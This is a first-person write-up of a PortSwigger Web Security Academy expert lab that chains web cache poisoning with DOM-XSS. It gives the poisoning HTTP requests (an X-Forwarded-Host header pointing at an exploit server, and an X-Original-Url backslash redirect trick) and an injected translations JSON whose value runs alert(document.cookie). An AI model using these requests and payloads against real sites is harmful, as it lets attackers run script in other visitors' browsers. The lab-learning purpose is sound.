| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Web Cache Poisoning — Chained Exploit: DOM-XSS + Forced Language Redirect |
| Difficulty | Expert |
| Objective | Poison the cache with a response that executes alert(document.cookie) in the visitor's browser |
| Note | A user visits the home page roughly once a minute with their language set to English; this lab requires constructing a complex exploit chain |
Combining Web Cache Poisoning Vulnerabilities¶
The lab is a web shop with a language selector.
The language switcher works via /setlang/<code>, which redirects to /?localized=1. The / response body also contains a familiar pattern:
<script>
data = {"host":"0a4e003704f73c4b8125354e005d0093.web-security-academy.net","path":"/"}
</script>
HTTP history showed requests to /resources/json/translations.json and /resources/js/translations.js.
Loading /setlang/es and checking a product page, "View details" rendered as:
<a class="button" href="/product?productId=1">Ver detailes</a>
The translated string lands inside an anchor tag — if the translation JSON's value for "View details" can be modified to include </a>, escaping that context and injecting a script becomes possible.
I ran Param Miner on both /resources/json/translations.json and / sent to Repeater:
X-Forwarded-Host came up as supported.
X-Original-URL came up too. Both would end up being needed. Testing X-Forwarded-Host first:
GET / HTTP/2
Host: 0a4e003704f73c4b8125354e005d0093.web-security-academy.net
X-Forwarded-Host: teto.com
<script>
data = {"host":"teto.com","path":"/"}
</script>
data.host is controlled by X-Forwarded-Host, and further down the page initTranslations uses it to build the JSON fetch URL — controlling the header controls where translation data comes from.
I set up the exploit server to serve a modified translations.json with Access-Control-Allow-Origin: * in the response headers (same CORS requirement as the previous DOM-XSS lab), and sent a poisoning request to /?localized=1:
GET /?localized=1 HTTP/2
Host: 0a4e003704f73c4b8125354e005d0093.web-security-academy.net
X-Forwarded-Host: exploit-0a26003904a23cef8107342d01850061.exploit-server.net
After adding the CORS header, the page reflected our injected "View details" value — confirming the JSON redirection and DOM rendering both worked.
With the injection path confirmed, I weaponized the payload by escaping the anchor context in the translation value:
{
"en": {
"name": "English"
},
"es": {
"name": "espanol",
"translations": {
"Return to list": "Volver a la lista",
"View details": "</a><img src=teto onerror='alert(document.cookie)'/>",
"Description:": "Descripcion:"
}
}
}
Alert fired. But the victim visits with their language set to English — this payload only fires on the Spanish-localized response. The /?localized=1 cache entry is poisoned, but the victim never hits it unless they're in the Spanish flow.
That's where X-Original-URL comes in. Using it to fake the /setlang/ path on the / request directly forces any visitor to / into the Spanish redirect:
GET / HTTP/2
Host: 0a4e003704f73c4b8125354e005d0093.web-security-academy.net
X-Original-Url: /setlang\es
The backslash rather than forward slash is deliberate — the server normalizes /setlang\es to /setlang/es via a redirect, and that redirect response is itself cacheable, unlike a direct /setlang/es response which carries Set-Cookie and therefore doesn't get cached under this lab's strict criteria. Path normalization quirks like this can change cacheability entirely, since the redirect routes through a different handler than the original path.
The full chain requires two separate cache entries poisoned simultaneously — neither alone is sufficient against an English-language visitor: GET /?localized=1 poisoned via X-Forwarded-Host so the Spanish translations load from the malicious JSON, and GET / poisoned via X-Original-Url: /setlang\es so any visitor to / gets redirected into the Spanish flow. I sent the /?localized=1 poisoning request first, then immediately the / request, and replayed both repeatedly to keep both entries live until the victim's visit landed in the window:
Lab solved 0-0
Dead Ends & Rabbit Holes¶
X-Original-Url: /setlang/eswith a forward slash produces a response carryingSet-Cookie, which isn't cacheable under this lab's strict criteria. The backslash variant (/setlang\es) routes through the server's own slash-normalization redirect instead, and that redirect response doesn't carry the cookie header — making it cacheable.- The exploit server JSON missing
Access-Control-Allow-Origin: *blocked the translations fetch the first time around — the network request succeeded but the browser refused to let the page read the response.